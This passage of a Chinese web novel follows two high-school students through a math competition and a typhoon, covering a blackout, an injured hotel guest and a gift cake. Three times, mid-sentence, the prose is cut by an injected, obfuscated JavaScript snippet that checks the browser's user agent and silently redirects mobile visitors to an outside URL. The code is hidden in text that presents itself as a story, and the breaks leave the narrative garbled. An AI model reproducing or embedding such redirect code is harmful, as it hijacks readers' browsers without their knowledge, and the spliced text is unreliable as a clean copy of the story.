标准的英语发声,即使唱到高音部分也吐字清晰,听起来一点也不尖锐。 许一宴平日不怎么听歌,唯独喜欢听这个女生翻唱。 高一某天,朱覃陪女朋友去影院看《名扬四海》,回来拿他电脑搜歌,说要练习电影插曲《try》给女朋友听。许一宴在一旁看书,听朱覃分享和女友的山盟海誓,兴致缺缺。 APP上还没有出单曲,搜索跳出来各种扒曲翻唱,第一条是个不知名歌手,评论数量超过了一万。 朱覃出于好奇点开,钢琴伴奏出来的时候许一宴并没有什么感觉,直到第一句歌词响起: If I wlak would you run? (我的靠近会让你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885865|191670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却步吗?) 清亮明澈的嗓音,带着少女的音色;不徐不疾的叙事节奏感,缱绻深情。 While your running away to chase your dream. (而你努力狂奔,追逐你的梦想) 底下有条评论说,她纯清唱,伴奏也是自己弹的钢琴。 不知道是不是真的。 许一宴没什么音乐细胞,不了解唱歌技巧,只知道歌分为两种——好听和不好听。 女生唱得十分好听。 朱覃吹彩虹屁:“这不是我爱了多年的女神吗。” 许一宴拆台:“你女朋友知不知道你又多了一个女神。” 朱覃白眼:“你懂屁,女朋友和女神两者不能相提并论!” 朱覃的想法最终没有实现,一周后他还没把歌词唱通顺,就被甩了。 那天起,许一宴在MP3上下载了女生的翻唱。 她陆续发了几首翻唱,有华语也有英语,节奏缓慢的抒情曲或激荡的摇滚乐,伴奏要么是钢琴要么是吉他,声线也在歌曲种类间变换。许一宴总能通过音色找到她。 有时候是不到一分钟的即兴弹唱,评论区都在催她出完整版。但这人太低调神秘,信息一概不填,头像没有设置,也不回复评论。 她独自沉浸在自己塑造出来的音乐世界里,述说着对音乐的喜爱。满是自信,毫不遮掩,炫耀自己在音乐方面的天赋。 像阳光一样热烈、灿烂,许一宴一听就是两年。 可是在两个月前,她像是人间蒸发,没有再发布新歌曲。 音乐被叮咚声打断。 曲葵回复:【刚刚吹头发去了,你也是,记得吃药。】 许一宴:【好。】 视线停在曲葵的昵称名上,加曲葵好友的第一天,他不由自主地问了含义。 不仅用同一个单词,两人的声音在某种程度上听起来相似。 许一宴有一个不太理智的想法,不过他好像没听过曲葵唱歌。 许一宴本想在对话框里打下你会不会唱歌,最后忍住了。 许一宴:【今天有没有不会的题?】 过一分钟,曲葵回复:【太多了……根本就写不完(黑眼圈躺平表情包)。我很好奇,你是怎么做到每次都考年纪第一的,是不是吃了教科书。】 许一宴:【Emoji思考,也许蘸辣椒面会更香。】 曲葵:【欸,别卷了,给别人留条活路。】 许一宴:【我没有,Emoji微笑。】 音乐放完自动暂停,许一宴开灯,整洁书桌放着曲葵塞他书包的糖果玻璃罐子,盖子上贴着一张淡黄色便利贴,字迹遒劲奔放,笔墨晕到了背后——不开心的时候可以吃一颗哦^v^。 糖吃完了,空瓶许一宴一直没丢。 明亮的灯光并不能带给他更多安全感,所幸积压在胸口郁郁不平的窒息感已经缓减了好多,让他暂时不再有那些乱糟糟想法。 许一宴听着淅淅沥沥的雨声,睡着了。 12.台风 一周后,学校免去校内竞赛学生的文化课,包括许一宴在内的十二名学生乘专车前往省上参加竞赛。 雨已经断断续续下了一星期,曲葵座位兜兜转转又重新换到窗边。 天还没完全亮,室内外温差使得玻璃上凝结了一层雾气,曲葵把白雾抹去,贴着玻璃看了一眼,雨蒙蒙的惨淡世界,根本看不到许一宴乘坐的那辆大巴车。 由于下雨,第二节体育课被替换成物理随堂测试,铃声在哀鸿遍野中响起。 测试不严格,王范在讲台后看手机,下面有很多学生交头接传递小抄。 曲葵右手拿笔,左手放课桌下,拿着手机搜索赛制——竞赛分为一试二试,面向全国各地,今年参赛人数约1300名,成绩优异的400名选手有资格参加CMO,在CMO中表现出色者可以进入国家集训队,然后再从中选拔成绩顶尖的六名选手组成中国国家代表队参加IMO,前途无量,万众瞩目。 单是看着选拔流程,曲葵都望而生畏。 那个时候,她没有接触许一宴,对这些漠不关心,因此也没有许一宴比赛的相关记忆。 她对许一宴一无所知。 徐梅在一旁轻轻咳嗽,曲葵余光看见王范从讲台上下来,放在试卷上的手一挥,笔掉在地上,她顺势弯腰假装捡笔,然后将手机翻转塞进宽大的校服袖子里。 曲葵一向很会耍小聪明。 老王扑了个空,摸着脑袋转一圈回到讲台上,指背敲着讲桌:“我劝你们用心点,连一个随堂测试都不认真对待,怎么面对明年六月的高考。” 曲葵给徐梅写了一张感谢的小纸条。 大课间,一大群男女生聚在后两排押注。 “选择你心目中能成功加入国家集训队的扬明高中选手,五块起压,买定离手!” 曲葵趴在课桌上,给许一宴发了一条加油。 有个男生问曲葵:“曲葵,你觉得谁能进国家队啊?” “许一宴吧。”曲葵想也不想地说。 “哦哦哦——”男生们又开始起哄了,他们比女生还不愿放弃一丝能嗅到八卦的机会。 最后统计,果然压许一宴的人数最多。 午休时间,许一宴回复谢谢。 曲葵被同样的噩梦惊醒,感觉脖子右侧有些酸痛,伸手揉了揉:【你那边有没有下雨?】 许一宴:【下了。】 他发来一张照片,雨水模糊的酒店落地窗,阴沉的天空,前方玻璃大厦闪烁着白色灯光。许一宴举着手机的身影映在玻璃上,清瘦且高挑,穿着黑色毛衣 。 许一宴:【比扬明的雨大多了。】 曲葵翻出压箱底的毛衣套上,一股樟脑丸气味,有种家的温暖,让她感到心安。 曲葵:【注意好安全。】 许一宴:【嗯,我后天就回来。】 第二天,曲葵手机连续收到台风预警的短信。 天空变得更暗了,下午三点已经如同黑夜,教室里开着电灯才能看清。 课上语文老师让默写《离骚》,时间才过去十分钟,她被人叫出教室,随后王范拿着笔记本进来,摆摆手说:“都别写了,我们开个班会。” 学校因为台风放假,但作业一点没变少,这并没有影响学生苦中作乐,隔着两堵墙都能听到别班传来的欢呼声。 教室里不能放私人东西,王范让把所有个人物品都带回家,曲葵把课本整理放在桌子上,高高一摞。 方成旭走过来,站曲葵座位旁说:“曲葵,你打算怎么回去?” 他的眼神闪烁,带着期许。曲葵不知道看了多少次这种表情,内心一目了然,脸上仍然挂着笑,婉拒:“不用了,我让我爸爸来接我。” 方成旭没想到她拒绝得这么干脆,有点难受,低下头:“我……” 曲葵扫了他一眼,没有再说什么,给曲林打电话。 曲林那边传来大嗓门同事给家里打电话的声音,很吵:“我也刚下班,是要我来接你吗?” “嗯,书要全部带回家。” “你在教室等我,我到学校给你打电话。” 挂断电话,曲葵对方成旭说:“你去收拾自己东西吧,不用管我。” 方成旭说他自己不急,执意要帮她抱书下楼,曲葵有些头疼,她拒绝的意思还不够明显吗? 听到对方的学生投来看戏的眼神,当着这么多人面拒绝又不太好。 有些话还是得私下说,曲葵:“好吧。” 等了十分钟,曲林的电话打过来。 “许一宴不在,家近的同学有没有愿意帮他把东西带回去?”说话的是许一宴同桌,一个热爱运动,皮肤黑黑的男生,他们班的体育课代表周飞。 曲葵走到教室门口,正想说她起带回去,也只是多爬一趟教学楼。 “同学,帮个忙。”有个人叫住曲葵。 她对声音向来敏感,听着有点耳熟,转过头,一个高个子的陌生男生站在她身后,鹅黄色的羽绒服拉链拉得很高,左胸口上印着一只唐老鸭,双手插衣服兜里,校牌的蓝色挂绳从里面露出来半截,左右晃动。 虽然曲葵从未见过这人,但还是凭借声音认出是那天叫许一宴打篮球的男生。 曲葵:“你……找许一宴?” “不完全是。”男生似乎认识她,略微惊讶过后,笑得很阳光灿烂,“你好……那个,我想问下许一宴座位在哪?我来帮他搬东西。” 曲葵点了下头,觉得他打量自己的目光有点暧昧,于是移开视线,朝某个座位指了一下,“靠窗第二排,他的座位在右边。” “谢谢,我会跟许一宴说的。”男生朝她摆了摆手,大步流星走进教室,简直有社交牛逼症。 这是要和许一宴说什么? “……曲葵,要走了吗?”一旁,方成旭抱着书问。 “走吧。”曲葵说。 教室在五楼,抱着书下来要花费不少力气。 空气昏暗寒冷,大厅拥挤,站着不少等家长来接的学生,来来往往,把淡黄色瓷砖踩出无数黑色脚印。 考虑到两人打伞出教学楼很麻烦,反正从大厅到学校前门很近。曲葵一扬下巴,示意方成旭把书放在墙壁下方的一块干净空地上。 方成旭想说和她一起等,看曲葵态度坚决,只好把书放下。 曲葵也将书放在那摞书上,甩了甩发酸的手臂,然后给曲林打电话让他进来一趟。结束之后看见方成旭没走,她眉一挑,问:“你是有话想和我说吗?” 方成旭一愣,正要开口否认,一看曲葵正端详着他,明明在笑,明亮瞳孔却好像看穿了他的心思。 方成旭感觉曲葵变了。 不像这个年纪女孩该有的冷漠和敏锐。 这种感想只有一瞬间,短得像个错觉。 方成旭还是问出了那个问题:“你和许一宴真的在一起了吗?” “没有,”曲葵在人群中看见曲林身影,平和地说,“但我和你也没可能。” ** “【扬明市三防指挥部】第11号强台风“向日葵”将对我市造成严重影响,经研究定于10月17日 12时起在全市范围内分批启动“停课、停工、停运、停航、停园、停业”措施,请听从指挥、做好防护,及时避险、确保安全。咨询电话: 123XX。” “接下来插播一条扬明市政府发布的台风一级预警:“向日葵” 夜间到凌晨将以超强台风级登陆扬明及多个沿海地区,6日-8日全省将出现强风雨,需做好防范。” “告诉大家一些台风过境时的实用防护措施……” 车载电台的每个频道都在播放台风消息,让原本就压抑的气氛又增添了一种恐慌感。黑云中时不时一道闪电疾驰而下,行人步伐匆匆。 为度过台风天,他们打算去超市囤点吃的。有这个想法的人不在少数,中途路上还堵了一会儿车。 车里有一股淡淡的汽油味,坐久曲葵开始头晕,她将车窗打开一条缝呼吸新鲜空气,被呼啸的风声呼了一脸,头发也吹乱了。 曲林打破压抑的寂静:“刚才站你旁边的小男孩是你的追求者吧,看着失魂落魄的,表白被你拒绝了?” 真是哪壶不开提哪壶。 曲葵爸妈在恋爱方面对她的要求是两个极端,林语邱不允许她和男生来往,曲林却从不管她和谁相处。 除去这一点,两人在日常生活中不怎么管她。 曲葵语气平平,仿佛说着和自己无关紧要的事情:“还没来得及追求,被我拒绝了。” “你和你妈妈长得很像,当年追求她的人也特别多。” “不见得是什么好事。” 天就这样被曲葵聊死了,曲林欲言又止。曲葵不想说话,解下发绳,捋顺,把微微潮湿挡住视线的一缕头发别至脑后。 她给林语邱打电话,想确认妈妈安全,对方一直处于通话中。 离林语邱不告而别还有几个月,是有事才不接电话? 眩晕。 曲葵揉了揉眉心,靠在冷冰冰的皮质座椅上。 超市拥挤,买家疯狂抢东西,有些零食货架被搬空了,曲葵没有消费欲望,只买了一些速冻食物,倒是曲林买了些被挑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16900337|191670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剩的蔬菜,叶子都蔫了。 从超市里出来已是两小时后。 安全到家,曲葵敲响林语邱的房门,门没锁,曲葵打开,房间里没有她妈妈的身影。 曲葵去楼下琴房看了一眼,也没有。 记忆和林语邱离开的那一天重合了。 回想那天,一开始,曲葵只是以为林语邱去打麻将。林语邱经常因为打麻将夜不归宿,曲葵不理解这种搓得惊天动地的东西到底有什么好玩。等她意识到事情的严重性后,已经追悔莫及。 心脏仿佛被一只手紧紧攥住,恐慌感从脚尖过电般涌向大脑,曲葵闭上眼睛,深呼吸让负面情绪不影响她的思维。隔壁厨房传来曲林声音:“你妈妈这几天住在朋友那,台风结束后才回来。” 难以平复的焦虑令她手控制不住地发抖,良久,曲葵才挺直背部,问:“她有没有说是哪个朋友?” 她记得林语的朋友都在其他城市。 “她没有说。”曲林在厨房切菜,砧板哒哒哒地响。 他颇为无奈地说,“你妈妈一向不喜欢我干涉她的生活。” 曲葵和曲林仅一墙之隔,却仿佛隔了一个时空。 她在原地站了一会儿,直到看不出异样,才走过去:“爸爸,我来弄吧。” 曲葵不太喜欢吃曲林炒的菜,味太淡。她原本不会煮饭,后来为了照顾曲林,把自己的厨艺拉到了几乎可以开店的水平。 只有两人的晚饭没必要太丰盛,曲葵弄了番茄牛腩烩饭。 曲林吃了口,感到诧异:“味道不错啊,你什么时候会煮饭了?” “网上学的。”曲葵用这个借口搪塞过去。 洗完澡,她用胶带把房间窗户拉了个“米”字,以免暴风压力把玻璃震碎,又检查各处窗户有没有关严。 之后,曲葵靠在沙发上玩手机,曲林开着电视,晚间新闻在报道台风。 “预计将以10-15公里的时速,台风眼中心附近最大风力可能高达17级……” 王范在班群里发了好几遍台风安全注意事项,警告他们不要在台风天出门。另一个群则是在讨论各种灾难电影,还提到了玛雅人预言的2012年世界末日,这是近期在学生之间比较热门的话题,才过一会儿消息直奔99+。 要是有世界末日就好了,可惜,只有属于个人的末日才会降临。 晚上八点,乌云压顶,暴雨如注。 距“向日葵”登陆还有五个小时,许一宴发来一条语音,隐约夹杂雨声:“我要等台风结束才能回来。” 他的语气,消沉压郁,仿佛暴风雨来临时沉浮在海面上的孤舟。 下一秒就要被淹没。 曲葵察觉出许一宴情绪不对,她没有许一宴电话,只能打语音过去,没有人接。 直到睡觉,许一宴也没有回复。 这天晚上曲葵做了一个梦,梦里她又回到了那片玻璃海,可小帆船上再也没有许一宴,曲葵找啊找,找啊找,直到眼泪都流出来了。整个世界只有她一人。 曲葵惊醒,呜呜风声正拍打窗户,枕头上有星星点点泪痕。 她卷着被子缩成一团,寒意依旧从四面八方渗透进毛孔。 不知道自己为什么这么难过。也许是太孤独了,黑夜总是能放大人的情绪感官,特别是独处的时候。回忆形成一只只吵闹的蜜蜂,围着她打转。 想起辍学的第一年,为了赚快钱,她在招聘平台上看中高时薪的平面模特,试用期间的拍摄条件还很正常。她初入社会,经验少得可怜,没有看出合同中潜在的不合理条款。 她必须接受不合理的拍摄条件,比如在-10°的气温下穿着单薄衣服拍摄;越来越短的裙子和暴露上衣。如果提出辞职,就会被威胁赔偿合同违约金。 和曲葵共事的还有一个女孩,年纪比曲葵还小一岁,高中还没毕业就在社会里摸爬滚打了。曲葵常常听见她躲在卫生间里哭泣。 可惜曲葵不像她的外貌那样看上去不谙世事,意识到被骗后,她开始收集证据,一个月后向法院控告了这家公司。 法院判定公司老板有故意危害他人安全,曲葵和女孩分别得到了一笔赔偿费,曲葵没有感到高兴。 分别时女孩流着泪紧紧拥抱了她:“你要像现在这样,勇敢活下去。” 不知道这份勇敢还能维持多久。 曲葵拉开抽屉,里面躺着一包未拆封的烟。 她抽出一根,点燃,只是拿在手中,看着黑暗中那点猩红的火光,心中万千愁绪,和黑夜一同沉寂下去。 半晌后,曲葵将整包烟扔进垃圾桶。 13.刺耳 曲葵接近天亮时分才听着风声睡下,醒来时已经正午十二点。 台风在她失眠时到来,室内已经暗得分不清白昼夜晚。 曲葵按下开关,电灯没有亮,看来是停电了。玻璃窗被狂风拍打得震动摇晃,连带着紧靠窗户的实木桌也在轻微震动,看着像要连同水泥墙一起被拔起。 她在犹如厉鬼嘶吼的呜呜风声中,用手机电筒照路走进卫生间,一拧水龙头,管道里发出尖锐的空气压缩的尖叫。 水也停了。 “台风把供电设备吹倒了,现在全城都没电。”曲林在客厅和朋友打电话,忧心忡忡的声音,他听见曲葵下楼脚步声,转头对她说,“厨房里有吃的,应该还没凉。” 曲葵喝了口凉水,打着哈欠去厨房。锅里躺着十来个速冻水饺,面皮还没发胀,应该刚煮好不久,还冒着热气,她盛在碗里,放了点油盐辣椒,就着黑吃。 也许是台风天结束前吃的最后一顿热食了。 “水电停多久了?”曲葵问。 “十分钟左右。”曲林看了眼手表。 曲葵不再说话,低头吃水饺。 除了风声,最活跃的应该是群消息,一条条往上滚。十多个高三生除了聊天打游戏,他们想不到该做什么,反正不会是写作业。 【对不起。】 一条消息弹出来。 许一宴到现在才回复她。 曲葵嚼着水饺,左手打字:【为什么要说对不起。】 许一宴:【我可以给你打语音吗。】 曲葵吃完最后一个饺子:【好。】 “昨天,我没有听见语音。”许一宴的声音一如既往好听,可曲葵好像听出些被他极力掩盖起来的失落,或是一些晦暗不明的情绪,就像原本透明干净的玻璃被蒙上了层怎样都擦不掉的灰尘,令人感到不太舒服。 曲葵疑窦顿生,“嗯”了一声,她还没来得及顺着这情绪去抓住些什么冒出来的苗头,便听许一宴问:“你生气了吗?” 这会他声音已恢复如初了。 曲葵知道他在说昨天没有接她语音的事,轻声否认道:“怎么会。”后来她试着去回想当时察觉到许一宴某种被隐藏起来的东西,发现再也摸不到了。 而现在,许一宴像是松了口气似的,声音轻快起来:“昨晚我隔壁的房间落地窗被台风吹倒了,住那的女生当时离窗户很近,被玻璃划伤了脚,流了很多血。” 曲葵:“你帮助了她?” “不算帮助。”许一宴说,“我只是帮她开了门。当时,风太大了。” 他说得有些小心翼翼,好像在怕曲葵听到后会介意,但曲葵只是无声吸了一口气,觉得他不知道什么才是让她担心的主要问题:“那你呢?你怎么样?” “我?”许一宴顿了下,否认道,“我没事。” “那就好。”曲葵见他不想讲,只好说,“你要平安回来。” 许一宴沉默很久,开口时声音变得有些低沉嘶哑:“你……在担心我吗?” “是,我在担心你。”曲葵没有否认。 ** 许一宴没有把全部真相告诉曲葵。 昨晚二试的前一小时,许一宴看到考场附近有家手工蛋糕店。他很早发现曲葵喜欢甜食,于是想要去给她买个蛋糕。 简单交谈,许一宴得知蛋糕店老板是学美术的,她做的都是刮刀花蛋糕,像印象派油画一样好看。许一宴猜测曲葵会喜欢这种风格,不过他从来没有给哪个女孩送过礼物,挑选时犯了难。 “送女朋友吗?”老板看出他的纠结,笑着提议,“或许粉色会更好?” 听到那三个字,许一宴的耳廓便泛起淡淡红意,正想否认不是女朋友,见老板满脸笑意,只好尴尬地抿嘴唇。 他觉得粉色不衬曲葵的性格。 le Serein。 他的脑海里忽然滚出这个词。 日落,倾辉引暮色之时,天空下起了小雨。 “就这个吧。”许一宴选了一款名叫“向日葵”的蛋糕。蛋糕的底色用好几种奶油颜色画成黄昏,还有油画质地的云朵,边缘围绕着一圈花瓣,蛋糕三分一处有几朵盛开的向日葵。 色调很像莫奈的《印象·日出》,那张他曾经在博物馆电子屏幕中看到过的图片。 “尺寸要多大。”老板问。 “六寸就可以。” 许一宴付钱,把收据单折起来装好:“我考完试过来拿。” “可以。”老板说,“你是过来参加数学联赛吗?” 许一宴点头。 老板朝他竖起大拇指:“学霸啊,考试加油。” 许一宴向来不知如何应对别人传递给他的好意,疏离地道谢。 二试许一宴提前交了卷,在指定场地里休息,手机考试上交,他就在心中推算时间。休息场地半露天,木棉市的天空开始放晴。 许一宴不像其他考生,要么满脸灿烂要么满脸愁苦聚在一起小声聊考题和成绩,他独自坐在最高的那排观众席上发呆,耷拉着眼皮,眼神空荡不知望向何处,没有明确的聚焦点,像个安静精美的瓷娃娃,原本有女生想上前搭讪,看他神游天外的样子,又不了了之。 同校考生陆续交完卷,叫他名字,他从上面跳下来。 刚拿到手机,朱覃掐着时间给他打电话,声音特别小,调子拖老长:“有把握吗?” “就那样。”这个时间学校还在上课,许一宴立马想到了,“你在卫生间里给我打电话?” “这不是显而易见的吗?” “回你教室去,遇到巡查的年级主任你就老实了。” “我那不是关心你吗,而且我跟老师说我大号,才两分钟回去也太假了。” 许一宴无语地笑了声,说:“知道了,那你就继续闻着吧。” “几点能回来啊,我好接——” 电话被许一宴挂了。 “几点走?”许一宴问司机。 司机在车上抽烟,看了眼手表,“人齐就走。” 许一宴看了眼人数,差四个人,于是说:“我下车拿个东西,一会回来。” “不要太迟就行。” 许一宴拿了蛋糕,心中盘算要怎么送给曲葵才合情合理,上车后,他立刻察觉到气氛不对,就问:“什么情况。” 一个男生愤愤地说:“说是有个超级台风朝我们这来了,预计晚上就到,高速公路已经被封了,我们都走不了。” 许一宴耳边嗡地一下,刚才心情还晴空万里的,现在只剩乌云蔽日。 “操。”他难得爆了声粗口。 木棉市几个小时的天晴仿佛是假象,不出十分钟天就迅速黑了,风和雨一个接一个降临。他们被安排在附近的酒店,因为台风要持续将近一星期,住宿自费,许多人的钱没带够,打电话问父母该怎么办。 许一宴对这些不关心,先进了房间,随后朱覃打电话来说他们也因为台风放假了,许一宴让他帮忙收课本。 他现在很不好,情绪发作似乎就在短暂的一秒钟内,他没有带药。许一宴静静看着漂亮的蛋糕。有一种把它砸烂的念头。 十二班的男生敲门喊他下楼吃饭,许一宴没去开门,裹着被子闷声说不去。 要是敲门声再大一些,他很可能会把床头柜上的烟灰缸砸过去。 在失真和恍惚的夹缝中熬过下午,许一宴手上多出了好多指甲印,都是在无意识的时候掐的。等许一宴回过神时,语音已经发出去了,显示在五分钟前,不能撤回。 与此同时,隔壁传来巨大的玻璃破碎声,紧随而来的,还有一声带着哭腔的尖叫。 许一宴自诩是个自私的人,如果不是想起曲葵帮他那一晚的眼神,他不会出去。 可他是离得最近的人。 哪怕漠视的想法曾在心口盘踞,许一宴还是拖着因躯体化变得有些沉重,难以抬起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16902035|191670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的双腿,去敲响了隔壁的门。 “同学,你在里面吗?” “救命!同学,帮帮我!”酒店房间门是统一朝里拉开的,许一宴听见有个女孩在里面哭喊,咚咚咚拍打着门,“我没力气了,我打不开!救命!” 看来是玻璃窗碎了,许一宴让她扭着门把保持开锁状态,自己则用力把门推开。满脸泪水的女孩踉跄跑出来,脚一软摔倒在地上。空间一连通,气流变得更强,卷着不知什么东西朝他砸过来,许一宴眼疾手快松开手,门被狂风吹得重重砸上,那东西又重重砸在门后,摔得粉碎,两重声音激得许一宴在未来两分钟内只能听见嗡嗡的耳鸣声。 “你怎么样?”静了静,许一宴转身扶她起来。 “我的腿……”女孩表情痛苦,动弹不了。 一片玻璃碎片扎在她脚踝上,血液浸湿了脚下的地毯。许一宴动作骤然僵住,他发现掌心里不知何时沾了很多血,看上去触目惊心。 “抱歉,”许一宴忽然松开她的手,不住退后,直到脊背抵到僵硬的墙壁。 他摇头,难掩痛苦情绪,“抱歉,我帮不了你。” 幸好动静声把所有人都吸引过来,之后如何解决,许一宴都没有参与,他不知道自己是什么时候回到房间的。 水龙头大开,流水声掩盖门外哄乱声,洗手液挤了满满两泵。无论如何用力搓揉掌心,无论冰凉水流如何刺痛皮肤,乃至双手僵冷充血,破皮泛红。眼底血红也难以消退,始终占据着视网膜的某个角落。 第二天许一宴才看见躺在地的手机,一条来自曲葵的未接语音。 许一宴突然很想见她,就算此刻不能相见,听听声音也好。 ** 曲葵的手机在和许一宴打完语音的不久后因为没电而关机。她后悔没买个充电宝。 距离台风结束还有六天,电子设备都不能用,时间总是过得很慢。 “闲着也是闲着,我们来下象棋吧。”曲林提议。 反正也是消磨时间,曲葵说:“我忘了怎么下。” “我教你。” 曲林点了两根不知道哪翻出来的红蜡烛,火光把他和曲葵的影子放得很大。曲葵从书房里搬出象棋棋盘,平放在茶几上。 两人面对面坐下,曲林把棋摆好,给曲葵讲规则。接下来的两小时曲葵没赢过,被曲林打得溃不成军。曲葵失去了兴趣:“不打了。” 她吃了个牛角包,把其中一支蜡烛抬去琴房。到目前,她已经能完整拉完一遍《小夜曲》,即便会出不少错。 有了蜡烛烘托气氛,很有《小夜曲》中那种凄楚感。曲葵比正常时候更快地进入了状态,在她练习完第四遍的最后一个拍时,窗外突然传来重重响声,有什么东西砸在对面的墙上,把横着下的雨都短暂拍散。 爆炸般的声音迫使曲葵捂住耳朵蹲下,原本搭在肩上的小提琴也向下滑落,曲葵想要接住它,但只来得及抓住琴弦,随着声刺耳噪音,曲葵手指感到被勒到的痛。 林语邱那把价值十万的小提琴,弦断了一根。 最后两天,城市排水设施已经跟不上持续降雨速度,路面开始积水,渐渐没过曲葵家门口的胡同。从门缝中渗进来,渐渐,一楼地面的积水有脚踝深。一踩进去,冷得牙颤。 “向日葵”对扬明及多个城市造成了不同程度的经济损失。台风过去的第一天阳光明媚,落在树木倒伏,满地狼籍的街道上,熠熠生辉。 电力恢复,曲葵关机几天的手机终于充上了电,来不及开机看这几天的消息有多少。她就拿着拖把朝屋外扫水,木质家具已经被水泡得翘了皮。几个邻居站在胡同里交谈,那天的响声是大爷家楼顶的太阳能被掀倒。 大爷因为要花大几千重新买个太阳能而唉声叹气,曲葵杵着拖把站在门口,体会到一丝解气。 不管如何感叹自然威力,时间不会停滞,命运奔流不息地推着每一个开心、焦虑、绝望的人向前。 14.木头 车到扬明一中门口停下,前排许一宴首先下车,就看到在站在家长堆里的鹅黄色身影。 许一宴还没张口叫人,朱覃看见他,朝他飞奔而来,一把熊抱住。 “哎呀,瞧瞧这是谁,这不是我们扬明一中的学神许一宴吗,几天不见有没有想哥们我?”朱覃还是老样子,话多切密。 车早上出发,明明只有两个半小时的车程,却因为路上五分钟才前进半米的大堵车延长到整整七个小时,结果回到到扬明已经下午三点。 学生陆续从车上下来,抱着自个家长就哭了,呜咽倾诉独自在酒店房间经历台风加断电有多难熬。大部分小孩都是娇生惯养,没见过太大风浪。 许一宴倒没什么伤感情绪,周围扫了一圈,自嘲轻笑。许明念果然不会来,他就考试结束当晚打电话问考得怎么样,除了这句话,甚至不愿意叮嘱一句他这亲儿子注意安全。 “没想。”许一宴拍拍朱覃背,接着鼻尖就闻到一股味儿,他把朱覃推开,皱着眉说,“你怎么臭了?” “少爷,停电一周了哪有热水啊!”朱覃没想到许一宴开口就这么句冷冰冰的话,当即就炸毛,“我手机刚充上电开机就看见你说快到了,马不停蹄跑过来接你。结果得到了什么,你的嫌弃!” “没嫌弃你,先去吃东西。”许一宴快一整天没吃东西,快饿死了。 他补充道:“我请。” “这还差不多。”朱覃看见许一宴手上拎着一个很精致的粉色纸袋,“这什么东西?难不成是给我的?” “不是。” 朱覃眼神八卦起来:“给曲葵的?” 许一宴不说话,瞪他一眼,示意人住嘴。 “哦——”朱覃发现新大陆一样,调子起得老高,接着来了个180°大滑坡,“受不了了,你个见色忘义的无情之人。” 两人朝小吃街方向走,路上有环卫工人把被风拦腰吹断的桂花树抬到卡车上,路中间堆了大堆落叶和花瓣,都是被雨打落的。 看着那堆垃圾,朱覃像是想起了什么,开始吐槽:“说起来,你爸新娶的女人是真离谱,那天我想着把书直接放你家,这样你回来就不用上我家拿一次。结果她一看是我,门都不开。说我湿哒哒的鞋会弄脏地板。” “哦,草包是这样子的。”许一宴没什么情绪道。 “还是张阿姨好,又漂亮又温柔……” 朱覃后知后觉地住了嘴,转头去看许一宴的脸色,见他表情没变,依旧板着长脸跟别人欠了他几百万似的,又松了口气。 许一宴一向不爱谈及他的家庭,他会不由自主同别人家作比较,有一种自己很可怜的感觉,“吃什么?” “海鲜火锅。”朱覃从不放过任何可以宰他的机会。 “换一个。”许一宴直接道,“或者我自己去吃。” “我不换。”朱覃学他的说话语气,“或者我去告诉曲葵,就说,许一宴喜欢你。” ** 把地上剩余的水拖干后,曲葵洗了个热水澡,头发湿漉漉披在肩膀上。 曲林一早上班,出门前跟她说今晚可能不回来吃饭,如果到点还没回来,就自己吃饭。 家里有股淡淡泥土味,曲葵打开窗户通风,抬个小板凳坐在门口晒太阳。 阳光照在皮肤上,暖洋洋的。她有些犯困,把头埋到放在膝盖上的臂弯里。 似乎听到许一宴的声音。 曲葵抬头朝外望了一眼,看见一脸想死,眉心拧得可以夹死蚊子的许一宴和在许一宴旁边喋喋不休,张手比划着各种姿势,她曾经讲过两句话的男生。 她听不清两人在说什么。 “住哪啊?”朱覃问。 “不知道。” 朱覃难以置信,“我靠,你要送人家礼物,结果连她家住哪都不知道?” “你再嚷嚷下去。”许一宴压着声音,“这里的人该出来骂你扰民。” 他只是站在当初曲葵回家的那条小胡同口处多看了一眼,就被朱覃拽进去了。 “我现在有种强烈的我们正在做贼的冲动。”朱覃拍拍许一宴的肩膀,“要不你还是直接吼一嗓子吧,比我们挨家挨户探窗户容易多了。” “谁像你,脸皮跟城墙一样厚。” 朱覃摊手,不乐意了:“什么啊,这你就不懂了,脸皮不厚你还怎么追女孩子?难道是想人女生来追你。” 许一宴有点想揍他了:“都说了没有追。” 朱覃懂了,嘿嘿笑道:“早说嘛,你要觉得不好意思,我可以帮你喊她名字。”许一宴来不及阻止,就听朱覃气沉丹田:“曲……!” 许一宴一把捂住他的嘴巴:“你疯了。” 曲葵饶有兴趣,看着两人离自己越来越近。 “许一宴。” “等等,是不是有人喊你?莫非你除了曲葵还有招惹了别的女生?”朱覃拉住他。 许一宴脸快黑成锅底:“闭嘴,回去了。”说着转身要走。 